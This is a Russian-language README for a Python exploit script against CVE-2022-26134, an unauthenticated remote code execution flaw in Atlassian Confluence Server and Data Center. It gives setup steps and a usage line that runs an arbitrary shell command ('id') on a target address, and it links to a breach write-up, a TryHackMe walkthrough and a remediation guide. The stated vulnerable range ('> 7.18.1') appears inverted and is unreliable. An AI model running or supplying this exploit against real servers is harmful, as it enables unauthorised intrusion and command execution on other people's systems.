CVE-2022-26134

30 мая 2022 года организация Volexity выявила неаутентифицированную RCE-уязвимость (9.8 по шкале NIST) в Atlassian Confluence Server и Data Center (уязвимые версии > 7.18.1)

Запуск

python -m venv venv
source venv/bin/activate
pip install -r requirements.txt
python CVE-2022-26134.py http://xxx.xxx.xxx.xxx:8090/ "id"

Ссылки

• Как я взломал компанию из списка Fortune 500 за 48 часов и получил данные 30 000 000 пользователей — автор Legacy0x1
• Прохождение комнаты CVE-2022-26134 на TryHackMe — автор Aybala Sevinc
• Обнаружение и рекомендации по устранению zero-day уязвимости CVE-2022-26134 в Confluence